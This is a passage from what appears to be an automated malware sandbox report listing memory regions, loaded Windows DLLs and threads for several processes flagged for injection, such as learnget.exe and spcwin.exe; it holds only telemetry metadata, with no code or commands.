0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2837 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2838 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2839 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2840 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2841 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2842 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2843 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2844 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2845 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2846 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2847 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2848 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2849 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2850 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2851 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2852 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2853 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2854 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2855 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2856 start_va = 0x7eee0000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007eee0000" filename = "" Region: id = 2857 start_va = 0x7efe0000 end_va = 0x7f002fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2858 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2859 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2860 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2861 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 289 os_tid = 0x104c Thread: id = 290 os_tid = 0x1038 Process: id = "74" image_name = "learnget.exe" filename = "c:\\program files (x86)\\windows multimedia platform\\learnget.exe" page_root = "0x6afcd000" os_pid = "0x1040" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\learnget.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2696 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2697 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2698 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2699 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2700 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2701 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 2702 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 2703 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2704 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2705 start_va = 0x400000 end_va = 0x403fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 2706 start_va = 0x410000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2707 start_va = 0x510000 end_va = 0x510fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2708 start_va = 0x520000 end_va = 0x523fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 2709 start_va = 0x530000 end_va = 0x534fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000530000" filename = "" Region: id = 2710 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2711 start_va = 0x550000 end_va = 0x550fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000550000" filename = "" Region: id = 2712 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 2713 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 2714 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 2715 start_va = 0x5a0000 end_va = 0x65dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2716 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 2717 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 2718 start_va = 0xb10000 end_va = 0xb26fff monitored = 0 entry_point = 0xb114a1 region_type = mapped_file name = "learnget.exe" filename = "\\Program Files (x86)\\Windows Multimedia Platform\\learnget.exe" (normalized: "c:\\program files (x86)\\windows multimedia platform\\learnget.exe") Region: id = 2719 start_va = 0xb30000 end_va = 0x1f2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b30000" filename = "" Region: id = 2720 start_va = 0x1fc0000 end_va = 0x1fcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 2721 start_va = 0x1fd0000 end_va = 0x208bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fd0000" filename = "" Region: id = 2722 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2723 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2724 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2725 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 2726 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 2727 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 2728 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2729 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2730 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2731 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2732 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2733 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 2734 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 2735 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2736 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2737 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2738 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2739 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2740 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2741 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 2742 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2743 start_va = 0x7ec50000 end_va = 0x7ed4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ec50000" filename = "" Region: id = 2744 start_va = 0x7ed50000 end_va = 0x7ed72fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ed50000" filename = "" Region: id = 2745 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2746 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2747 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2748 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 291 os_tid = 0x1048 Thread: id = 292 os_tid = 0x1044 Process: id = "75" image_name = "spcwin.exe" filename = "c:\\program files\\internet explorer\\spcwin.exe" page_root = "0x6a790000" os_pid = "0xd4c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Internet Explorer\\spcwin.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6016 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 6017 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 6018 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 6019 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 6020 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 6021 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 6022 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 6023 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 6024 start_va = 0x1c0000 end_va = 0x27dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 6025 start_va = 0x280000 end_va = 0x280fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 6026 start_va = 0x290000 end_va = 0x2a6fff monitored = 0 entry_point = 0x2914a1 region_type = mapped_file name = "spcwin.exe" filename = "\\Program Files\\Internet Explorer\\spcwin.exe" (normalized: "c:\\program files\\internet explorer\\spcwin.exe") Region: id = 6027 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 6028 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 6029 start_va = 0x700000 end_va = 0x887fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 6030 start_va = 0x890000 end_va = 0xa10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 6031 start_va = 0xfe0000 end_va = 0xfe3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 6032 start_va = 0xff0000 end_va = 0xffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 6033 start_va = 0x1000000 end_va = 0x1003fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001000000" filename = "" Region: id = 6034 start_va = 0x1020000 end_va = 0x111ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 6035 start_va = 0x1120000 end_va = 0x251ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001120000" filename = "" Region: id = 6036 start_va = 0x25b0000 end_va = 0x25bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 6037 start_va = 0x25c0000 end_va = 0x267bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025c0000" filename = "" Region: id = 6038 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 6039 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 6040 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 6041 start_va = 0x73e00000 end_va = 0x73e1cfff monitored = 0 entry_point = 0x73e03b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 6042 start_va = 0x73e20000 end_va = 0x73e94fff monitored = 0 entry_point = 0x73e59a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 6043 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 6044 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 6045 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 6046 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 6047 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 6048 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 6049 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 6050 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 6051 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 6052 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 6053 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 6054 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 6055 start_va = 0x75b80000 end_va = 0x75c9efff monitored = 0 entry_point = 0x75bc5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 6056 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 6057 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 6058 start_va = 0x7e980000 end_va = 0x7ea7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e980000" filename = "" Region: id = 6059 start_va = 0x7ea80000 end_va = 0x7eaa2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ea80000" filename = "" Region: id = 6060 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 6061 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 6062 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 6063 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Thread: id = 293 os_tid = 0x1010 Thread: id = 294 os_tid = 0x1004 Process: id = "76" image_name = "spgagentservice.exe" filename = "c:\\program files\\windows multimedia platform\\spgagentservice.exe" page_root = "0x46c9a000" os_pid = "0x1008" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "12" os_parent_pid = "0x678" cmd_line = "\"C:\\Program Files\\Windows Multimedia Platform\\spgagentservice.exe\" " cur_dir = "C:\\Program Files\\Windows Multimedia Platform\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 6112 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 